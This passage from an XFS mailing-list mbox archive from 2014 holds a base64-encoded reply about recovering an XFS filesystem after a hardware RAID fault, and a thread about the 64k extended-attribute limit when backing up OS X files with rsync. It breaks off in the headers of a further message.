c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPk91dHB1dCBvZiBsb2cgcHJpbnQgY29tbWFuZCBJJiM4MjE3 O2FtIHVwbG9hZCBpbiB3ZWItc2l0ZTo8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPnhmc19sb2dwcmludCAtZCAtQyAuL3hmc19sb2cuZHVtcDwvZm9udD48YnI+DQo8YSBo cmVmPSJodHRwOi8veWFkaS5zay9kL0p4di1JdFJTR3Q4dk4iPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+aHR0cDovL3lhZGkuc2svZC9KeHYtSXRSU0d0OHZO PC91PjwvZm9udD48L2E+PGJyPg0KPGJyPg0KPGJyPg0KDQo8cD48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+PGJyPg0KMjguMDEuMjAxNCwg1yA4OjQ2LCAmcXVvdDtEbWl0cml5IFl1IExlb25v diZxdW90OyAmbHQ7PC9mb250PjxhIGhyZWY9Im1haWx0bzpETGVvbm92QGJlZWxpbmUucnUiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+RExlb25vdkBiZWVs aW5lLnJ1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZndDsgzsHQ ydPBzCjBKTo8YnI+DQo8L2ZvbnQ+DQo8dWwgc3R5bGU9InBhZGRpbmctbGVmdDogMzZwdCI+PHR0 Pjxmb250IHNpemU9IjMiPkdvb2QgbW9ybmluZywgRGF2ZS48L2ZvbnQ+PC90dD48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+DQpU aGFuayB5b3UgZm9yIHlvdXIgcmVzcG9uc2UgdG8gbXkgbWVzc2FnZS48L2ZvbnQ+PC90dD48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48 YnI+DQpROiBTbyBzb21ldGhpbmcgd2VudCB3cm9uZyB3aXRoIHRoZSBIVyBSQUlELCBhbmQgdGhl biB5b3UgZm91bmQgZXJyb3JzIGluIHRoZSBmaWxlc3lzdGVtPzxicj4NCkE6IFllcy4gUHJlc3Vt YWJseSBvbiB0aGUgc2VydmVyIHdlcmUgcHJvYmxlbXMgd2l0aCB0aGUgcG93ZXIgc3VwcGx5LiBJ biB0aGUgSFcgUkFJRCBiYXR0ZXJ5IGJhY2t1cCBpbnN0YWxsZWQuIEJ1dCB3aGVuIHRoZSBzZXJ2 ZXIgdHVybiBvZmYvb24gZXJyb3JzIG9jY3VycmVkIHRoYXQgbGVkIHRvIHRoZSBjdXJyZW50IHNp dHVhdGlvbi4gVGhlIGN1cnJlbnQgc3RhdHVzIG9mIHRoZSBIVyBSQUlELWNvbnRyb2xsZXIgc3Rh YmxlLiB0aGVyZSBhcmUgbm8gZXJyb3JzLjwvZm9udD48L3R0Pjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj48YnI+DQo8L2ZvbnQ+PHR0Pjxmb250IHNpemU9IjMiPjxicj4NClE6IEl0IGZhaWxl ZCB0byBtb3VudCB3aXRoIHRoZSBzdGFjayB0cmFjZSB0aGF0IHlvdSBhdHRhY2hlZD8gSWYgc28s IHRoZXJlJ3MgYSBjb3JydXB0IGZyZWVzcGFjZSB0cmVlIGluIHRoZSBmaWxlc3lzdGVtLjxicj4N CkE6IFllcy4gVGhlIGF0dGFjaGVkIHN0YWNrIHRyYWNlIGlzIHJlY2VpdmVkIGFmdGVyIHRoZSBp bmNpZGVudC4gSSB3YXRjaGVkIHRoZSBzb3VyY2UgY29kZSBmaWxlIHRoYXQgaXMgcmVmZXJlbmNl ZCB0cmFjZSwgYnV0LCB1bmZvcnR1bmF0ZWx5LCBjb3VsZCBub3QgZmlndXJlIG91dCBob3cgdG8g Zml4IHRoZSBwcm9ibGVtLiBJcyB0aGVyZSBhIHBvc3NpYmlsaXR5IHRvIGZpeCB0aGUgcHJvYmxl bSB3aXRoIGEgY29ycnVwdCBmcmVlc3BhY2UgdHJlZSBpbiB0aGUgZmlsZXN5c3RlbT88L2ZvbnQ+ PC90dD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBz aXplPSIzIj48YnI+DQpROiBGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRvIGF0 IGxlYXN0IHZlcnNpb24gMy4xLjExIG9mIHhmc3Byb2dzLiBJZiBpdCBzdGlsbCBoYW5ncywgdGhl biBpdCdzIHF1aXRlIGxpa2VseSB0aGVyZSBzb21ldGhpbmcgc3RpbGwgd3Jvbmcgd2l0aCB5b3Vy IEhXIFJBSUQuIFlvdXIgZmlyc3Qgc3RlcCBpcyB0byBtYWtlIHN1cmUgeW91ciBIVyBSQUlEIGlz IGhlYWx0aHkgYmVmb3JlIHRyeWluZyB0byByZXBhaXIgb3IgbW91bnQgdGhlIGZpbGVzeXN0ZW0u Li4uPGJyPg0KQTogSSB3aWxsIHRyeSB0byBmb2xsb3cgWW91ciByZWNvbW1lbmRhdGlvbnMuIFNl cnZlciBpcyBydW5uaW5nIG9uIGEgR2VudG9vIHN5c3RlbS4gQ3VycmVudCBzdGFibGUgdmVyc2lv biBvZiB4ZnNwcm9ncyBpbiBnZW50b28gcG9ydGFnZSBpcyAzLjEuMTAsIDMuMS4xMS1yMSBpcyB1 bnN0YWJsZS4gQnV0IEkgd2lsbCBpbnN0YWxsIHRoZSBsYXN0IHRvIGNoZWNrLiBBY2NvcmRpbmcg dG8gdGhlIHJlc3VsdHMgb2Ygd3JpdGUuIEFsc28gSSdtIGF0dGFjaCB0byB0aGUgbWVzc2FnZSBm aWxlIHdpdGggYSBkaWFnbm9zaXMgSFcgUkFJRCBjb250cm9sbGVyLiBUaGUgY3VycmVudCBzdGF0 dXMgb2YgdGhlIGNvbnRyb2xsZXIgaXMgc3RhYmxlLjwvZm9udD48L3R0Pjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj48YnI+DQo8L2ZvbnQ+PHR0Pjxmb250IHNpemU9IjMiPjxicj4NCkkgaG9w ZSBmb3IgWW91ciBoZWxwIGluIHNvbHZpbmcgdGhlIHByb2JsZW0uPC9mb250PjwvdHQ+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPjxicj4NCjwvZm9udD48dHQ+PGZvbnQgc2l6ZT0iMyI+PGJy Pg0KLS08YnI+DQogJm5ic3A7RG1pdHJ5IExlb25vdi48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48 aT48YnI+DQooU2VlIGF0dGFjaGVkIGZpbGU6IFJlcG9ydF9SQUlEX3N0YXR1c18yMDE0MDEyOC50 eHQpPC9pPjwvZm9udD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGNvbG9yPSIjNDI0MjgyIiBmYWNlPSJzZXJpZiI+RGF2ZSBDaGlu bmVyIC0tLTI4LjAxLjIwMTQgMDM6MTQ6MTctLS1PbiBNb24sIEphbiAyNywgMjAxNCBhdCAxMTox MjoxNUFNICswNDAwLCBEbWl0cml5IFl1IExlb25vdiB3cm90ZTogJmd0OzwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxmb250IHNpemU9IjIiIGNv bG9yPSIjNUY1RjVGIiBmYWNlPSJzZXJpZiI+PGJyPg0K79Q6IDwvZm9udD48Zm9udCBzaXplPSIy IiBmYWNlPSJzZXJpZiI+RGF2ZSBDaGlubmVyICZsdDs8L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOmRh dmlkQGZyb21vcmJpdC5jb20iPjxmb250IHNpemU9IjIiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+ZGF2aWRAZnJvbW9yYml0LmNvbTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjIi IGZhY2U9InNlcmlmIj4mZ3Q7PC9mb250Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjNUY1RjVGIiBm YWNlPSJzZXJpZiI+PGJyPg0K68/N1TogPC9mb250Pjxmb250IHNpemU9IjIiIGZhY2U9InNlcmlm Ij5EbWl0cml5IFl1IExlb25vdiAmbHQ7PC9mb250PjxhIGhyZWY9Im1haWx0bzpETGVvbm92QGJl ZWxpbmUucnUiPjxmb250IHNpemU9IjIiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ RExlb25vdkBiZWVsaW5lLnJ1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMiIgZmFjZT0ic2Vy aWYiPiZndDssIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2Vy aWYiPjxicj4NCuvP0MnROiA8L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOnhmc0Bvc3Muc2dpLmNvbSI+ PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT54ZnNAb3NzLnNn aS5jb208L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0i c2VyaWYiPjxicj4NCuTB1ME6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+Mjgu MDEuMjAxNCAwMzoxNDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0i c2VyaWYiPjxicj4NCvTFzcE6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+UmU6 IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDogZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2Mu YywgbGluZTogMTU5MDwvZm9udD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9m b250PjxociB3aWR0aD0iMTAwJSIgc2l6ZT0iMiIgYWxpZ249ImxlZnQiIG5vc2hhZGUgc3R5bGU9 ImNvbG9yOiMwMDAwMDA7ICI+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPjxicj4NCjxicj4N CjwvZm9udD48dHQ+PGZvbnQgc2l6ZT0iMyI+PGJyPg0KT24gTW9uLCBKYW4gMjcsIDIwMTQgYXQg MTE6MTI6MTVBTSArMDQwMCwgRG1pdHJpeSBZdSBMZW9ub3Ygd3JvdGU6PGJyPg0KJmd0OyA8YnI+ DQomZ3Q7IEhlbGxvLCBkZWFyIGRldmVsb3BlcnM8YnI+DQomZ3Q7IDxicj4NCiZndDsgRmFjZWQg Jm5ic3A7d2l0aCAmbmJzcDt0aGUgJm5ic3A7cHJvYmxlbSBvZiB1c2luZyBYRlMuIEknbSB1c2Ug dGhlIFhGUyBmaWxlIHN5c3RlbSBvbjxicj4NCiZndDsgdGhlICZuYnNwO3NlcnZlciB3aXRob3V0 IHByb2JsZW1zIHRocmVlIHllYXJzLiBSZWNlbnRseSBkaXNjb3ZlcmVkIHRoYXQgdGhlPGJyPg0K Jmd0OyBkaXNrIChyYWlkLWFycmF5KSB3aXRoIFhGUyBpcyBub3QgYXZhaWxhYmxlLjxicj4NCiZn dDsgPGJyPg0KJmd0OyBUaGUgbG9ncyByYWlkIGNvbnRyb2xsZXIgYXBwZWFyZWQ6IDIwMTQtMDEt MjQgMDc6MTI6MzQgSC9XIE1vbml0b3IgUmFpZDxicj4NCiZndDsgUG93ZXJlZCBPbjxicj4NCjxi cj4NClNvIHNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIEhXIFJBSUQsIGFuZCB0aGVuIHlv dSBmb3VuZCBlcnJvcnM8YnI+DQppbiB0aGUgZmlsZXN5c3RlbT88YnI+DQo8YnI+DQomZ3Q7IFdo ZW4gSSByZXN0YXJ0IHRoZSBzZXJ2ZXIsIEkgZm91bmQgdGhhdCB0aGUgcmFpZCBhcnJheSBpcyBu b3QgbW91bnQgb248YnI+DQomZ3Q7IHRoZSBtb3VudCBwb2ludCAvZGV2L3NkYjEgKGZpbGVzeXN0 ZW0gWEZTKS48YnI+DQo8YnI+DQpJdCBmYWlsZWQgdG8gbW91bnQgd2l0aCB0aGUgc3RhY2sgdHJh Y2UgdGhhdCB5b3UgYXR0YWNoZWQ/IElmIHNvLDxicj4NCnRoZXJlJ3MgYSBjb3JydXB0IGZyZWVz cGFjZSB0cmVlIGluIHRoZSBmaWxlc3lzdGVtLjxicj4NCjxicj4NCiZndDsgV2hlbiAmbmJzcDtJ ICZuYnNwO3J1biAmbmJzcDt0aGUgdXRpbGl0eSB4ZnNfcmVwYWlyIC1QIC9kZXYvc2RiMSBpdCBo YW5ncy4gV2hlbiBJIHJ1bjxicj4NCiZndDsgbW91bnQgJm5ic3A7L2Rldi9zZGIxICZuYnNwO25v dCAmbmJzcDtpc3N1ZWQgJm5ic3A7YW55ICZuYnNwO2Vycm9ycyBhbmQgYXBwbGljYXRpb24gYWxz byBoYW5ncy48YnI+DQomZ3Q7IFRhc2sncyBjYW5ub3QgZmluaXNoIGV2ZW4gdGhlIGNvbW1hbmQg a2lsbCAtOSAmbHQ7cGlkJmd0Oy48YnI+DQo8YnI+DQpGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0 IHVwZGF0aW5nIHRvIGF0IGxlYXN0IHZlcnNpb24gMy4xLjExIG9mPGJyPg0KeGZzcHJvZ3MuIElm IGl0IHN0aWxsIGhhbmdzLCB0aGVuIGl0J3MgcXVpdGUgbGlrZWx5IHRoZXJlIHNvbWV0aGluZzxi cj4NCnN0aWxsIHdyb25nIHdpdGggeW91ciBIVyBSQUlELjxicj4NCjxicj4NCllvdXIgZmlyc3Qg c3RlcCBpcyB0byBtYWtlIHN1cmUgeW91ciBIVyBSQUlEIGlzIGhlYWx0aHkgYmVmb3JlPGJyPg0K dHJ5aW5nIHRvIHJlcGFpciBvciBtb3VudCB0aGUgZmlsZXN5c3RlbS4uLi48YnI+DQo8YnI+DQpD aGVlcnMsPGJyPg0KPGJyPg0KRGF2ZS48YnI+DQotLSA8YnI+DQpEYXZlIENoaW5uZXI8L2ZvbnQ+ PC90dD48dHQ+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiPjx1Pjxicj4NCjwvdT48L2Zv bnQ+PC90dD48YSBocmVmPSJtYWlsdG86ZGF2aWRAZnJvbW9yYml0LmNvbSI+PHR0Pjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIj48dT5kYXZpZEBmcm9tb3JiaXQuY29tPC91PjwvZm9udD48 L3R0PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jmx0O1JlcG9ydF9SQUlE X3N0YXR1c18yMDE0MDEyOC50eHQmZ3Q7PC9mb250PjwvdWw+DQo8L2JvZHk+PC9odG1sPg== --0__=CBBBF6E7DF8E1E928f9e8a93df938690918cCBBBF6E7DF8E1E92-- From sblood@gmail.com Mon Feb 3 01:14:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6D70A7FCA for ; Mon, 3 Feb 2014 01:14:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 30E88304043 for ; Sun, 2 Feb 2014 23:14:19 -0800 (PST) X-ASG-Debug-ID: 1391411653-04bdf0121dbd6f0001-NocioJ Received: from mail-qa0-f53.google.com (mail-qa0-f53.google.com [209.85.216.53]) by cuda.sgi.com with ESMTP id ZuGFtB0cJU7S0mKl (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 02 Feb 2014 23:14:14 -0800 (PST) X-Barracuda-Envelope-From: sblood@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] Received: by mail-qa0-f53.google.com with SMTP id cm18so9324141qab.26 for ; Sun, 02 Feb 2014 23:14:13 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=lJRCTGjimp1oiIKmuuPeKh8O4dnHziYTBk/KI14lsuw=; b=EVN1DOmWBGWBK1IXaMD/l8++AtZ7jrS4JrlZIUXHR7y3GgA9c1TbbFlDfjrIA4wQlO pVnZvzalRokc+FpC4K+n4e1E9TP6oUKYN66DlJ6ryFlrt4Phv27YDGgM+OT+unLkcAhF 8keWC10lozVu9F6wCDxgCxd7aRKjJ8YmgvSZztD3fdWJDEkeFZprDChw7sKwz8ESfnJi pSNcidNbfxoZFye8/vbnZIDlgt70UNH3Ls2YDBQbV2gFTe1JDYOxqhggIEGLIAiBNv4z 21p2Gmy18j0hfhfI2+suYOV6WV0T1QXm9l0rd1Fk7oycb6/j9ULBSAhktPPpQBOI2Cmk cAHw== MIME-Version: 1.0 X-Received: by 10.140.21.102 with SMTP id 93mr49480939qgk.39.1391411653327; Sun, 02 Feb 2014 23:14:13 -0800 (PST) Received: by 10.140.94.199 with HTTP; Sun, 2 Feb 2014 23:14:13 -0800 (PST) In-Reply-To: <83F9F221-9387-47D5-B67C-E9252056E408@colorremedies.com> References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> <83F9F221-9387-47D5-B67C-E9252056E408@colorremedies.com> Date: Mon, 3 Feb 2014 08:14:13 +0100 Message-ID: Subject: Re: Extended attributes limit in Linux From: Sun_Blood X-ASG-Orig-Subj: Re: Extended attributes limit in Linux To: Chris Murphy Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c1475e55401d04f17b45bb X-Barracuda-Connect: mail-qa0-f53.google.com[209.85.216.53] X-Barracuda-Start-Time: 1391411654 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144776 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c1475e55401d04f17b45bb Content-Type: text/plain; charset=ISO-8859-1 On Mon, Feb 3, 2014 at 2:15 AM, Chris Murphy wrote: > > On Feb 2, 2014, at 7:33 AM, Sun_Blood wrote: > > I will make a bug report for rsync also that it should not try to copy > files with EA bigger then the destination can handle. But it would be great > if XFS could handle this files and be fully compatible with OS X backups. > > What application(s) are creating such files on OS X? Or how are they > coming to have such large extended attributes? > > > Chris Murphy They are created by Adobe Photoshop and/or iPhoto. /Martin --001a11c1475e55401d04f17b45bb Content-Type: text/html; charset=ISO-8859-1

On Mon, Feb 3, 2014 at 2:15 AM, Chris Murphy <lists@colorremedies.com> wrote:

On Feb 2, 2014, at 7:33 AM, Sun_Blood <sblood@gmail.com> wrote:
> I will make a bug report for rsync also that it should not try to copy files with EA bigger then the destination can handle. But it would be great if XFS could handle this files and be fully compatible with OS X backups.

What application(s) are creating such files on OS X? Or how are they coming to have such large extended attributes?


Chris Murphy

They are created by Adobe Photoshop and/or iPhoto.

/Martin
--001a11c1475e55401d04f17b45bb-- From sblood@gmail.com Mon Feb 3 01:19:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D6A147FCA for ; Mon, 3 Feb 2014 01:19:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C14D2304043 for ; Sun, 2 Feb 2014 23:19:21 -0800 (PST) X-ASG-Debug-ID: 1391411956-04cbb00c29aa290001-NocioJ Received: from mail-qa0-f47.google.com (mail-qa0-f47.google.com [209.85.216.47]) by cuda.sgi.com with ESMTP id 4TXE0kSso30ctAzD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 02 Feb 2014 23:19:17 -0800 (PST) X-Barracuda-Envelope-From: sblood@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.47] Received: by mail-qa0-f47.google.com with SMTP id j5so9567780qaq.34 for ; Sun, 02 Feb 2014 23:19:16 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=90BcOs2AH28MApfYFZTrUdY6dYlfBipwbJ4ImGwicK4=; b=T6rvQ3na9Ypqcvb+dPukNn3cFllQdQwAbTs6sANKJniAZLFMUJUqVBZgEzxni0lyoa MtblhWsesyErKY/C6RChPKHGPYhKFp6YNVQxJR2NipCBh6t6QrCsnHQhhfExCJs2L03B tFPjVSvqA9PuG13IiJSOOmyxRNxqc2SkDv6Qc07xD9RSGlMqynxkBPNxbfNAWO7NlOui KNdg+S3yRtwFTY0PzHv6Rg71uv12zMTe7v6d5T1e2OcQaWZI0mIKtJXnZK6nBRTf3n0Y aLIfZIFBUUtKrwma9A03Na45805keAhuNWh4NwegqHA3BMx4QXu93QKq7u5w+x5rATG3 u3xA== MIME-Version: 1.0 X-Received: by 10.224.49.69 with SMTP id u5mr21621466qaf.88.1391411956518; Sun, 02 Feb 2014 23:19:16 -0800 (PST) Received: by 10.140.94.199 with HTTP; Sun, 2 Feb 2014 23:19:16 -0800 (PST) In-Reply-To: <20140202213711.GR2212@dastard> References: <52EB64DC.4020603@oracle.com> <20140202213711.GR2212@dastard> Date: Mon, 3 Feb 2014 08:19:16 +0100 Message-ID: Subject: Re: Extended attributes limit in Linux From: Sun_Blood X-ASG-Orig-Subj: Re: Extended attributes limit in Linux To: Dave Chinner Cc: Jeff Liu , xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c2f5a867950104f17b5701 X-Barracuda-Connect: mail-qa0-f47.google.com[209.85.216.47] X-Barracuda-Start-Time: 1391411957 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c2f5a867950104f17b5701 Content-Type: text/plain; charset=ISO-8859-1 On Sun, Feb 2, 2014 at 10:37 PM, Dave Chinner wrote: > On Fri, Jan 31, 2014 at 04:54:52PM +0800, Jeff Liu wrote: > > Hello, > > > > On 01/31 2014 15:40 PM, Sun_Blood wrote: > > > Hello, > > > > > > If I understands it correctly XFS don't have a limit to the size of > > > extended attributes(EA) but Linux impose a limit at 64k. > > > What I am trying to do is build a backup server that our Apple > computers > > > will use together with rsync to backup files to. The problem I face is > > > that Apple HFS+ don't have a limit to EA so it has files with more then > > > 64k of EA in it. > > > > > > The Linux Kernel has a limit imposed to it in include/linux/limits.h > > > > > > #defineXATTR_SIZE_MAX 65536 /* size of an extended attribute > value > > > (64k) */ > > > > > > #defineXATTR_LIST_MAX 65536 /* size of extended attribute > namelist > > > (64k) */ > > > > > > > Yes, 64k is the VFS limit per EA value size. > > XFS has a limit of 64k as well. I suspect that we could handle > larger EAs without too much problem as we already have the concept > of a "remote EA" that is allocated outside of the attribute btree > (but still inside the attribute address space). The problem with > them is that they are written synchronously, and so large attributes > written this way are slow operations. > > Still, until the VFS limit is lifted and we do a bunch more work to > avoid XATTR_SIZE_MAX allocations everywhere there's no point looking > at raising the XFS limit.... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > Ok. Just for fun how could we proceed to get the VFS limit lifted? Or any other way to handle this problem? It would be nice to be able to say that XFS is the only file system available fully compatible with OS X HFS+ =) /Martin --001a11c2f5a867950104f17b5701 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

= On Sun, Feb 2, 2014 at 10:37 PM, Dave Chinner <david@fromorbit.com&g= t; wrote:
On Fri, Jan 31, 2014 at 04= :54:52PM +0800, Jeff Liu wrote:
> Hello,
>
> On 01/31 2014 15:40 PM, Sun_Blood wrote:
> > Hello,
> >
> > If I understands it correctly XFS don't have a limit to the s= ize of
> > extended attributes(EA) but Linux impose a limit at 64k.
> > What I am trying to do is build a backup server that our Apple co= mputers
> > will use together with rsync to backup files to. The problem I fa= ce is
> > that Apple HFS+ don't have a limit to EA so it has files with= more then
> > 64k of EA in it.
> >
> > The Linux Kernel has a limit imposed to i= t in include/linux/limits.h
> >
> > =A0 =A0 #defineXATTR_SIZE_MAX 65536 =A0 /* size of an extended at= tribute value
> > =A0 =A0 (64k) */
> >
> > =A0 =A0 #defineXATTR_LIST_MAX 65536 =A0 /* size of extended attri= bute namelist
> > =A0 =A0 (64k) */
> >
>
> Yes, 64k is the VFS limit per EA value size.

XFS has a limit of 64k as well. I suspect that we could handle
larger EAs without too much problem as we already have the concept
of a "remote EA" that is allocated outside of the attribute btree=
(but still inside the attribute address space). The problem with
them is that they are written synchronously, and so large attributes
written this way are slow operations.

Still, until the VFS limit is lifted and we do a bunch more work to
avoid XATTR_SIZE_MAX allocations everywhere there's no point looking at raising the XFS limit....

Cheers,

Dave.
--
Dave Chinner
david@fromorbit.com

Ok. J= ust for fun how could we proceed to get the VFS limit lifted? Or any other = way to handle this problem?
It would be= nice to be able to say that XFS is the only file system available fully co= mpatible with OS X HFS+ =3D)

/Martin
--001a11c2f5a867950104f17b5701-- From 2100-raizrfx@mmgcitrus.com Mon Feb 3 01:31:56 2014 Return-Path: <2100-raizrfx@mmgcitrus.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.8 required=5.0 tests=DEAR_SOMETHING, FROM_STARTS_WITH_NUMS,T_HTML_ATTACH,T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2D29D7FD3 for ; Mon, 3 Feb 2014 01:31:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 16A7B8F8037 for ; Sun, 2 Feb 2014 23:31:52 -0800 (PST) X-ASG-Debug-ID: 1391412704-04cb6c6de1ae690001-w1Z2WR Received: from pandega.idwebhost.com (ipv4-38-146-52.idwebhost.com [202.52.146.38]) by cuda.sgi.com with ESMTP id uNQqquzJ3sBQVhw5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 23:31:48 -0800 (PST) X-Barracuda-Envelope-From: 2100-raizrfx@mmgcitrus.com X-Barracuda-Apparent-Source-IP: 202.52.146.38 Received: from 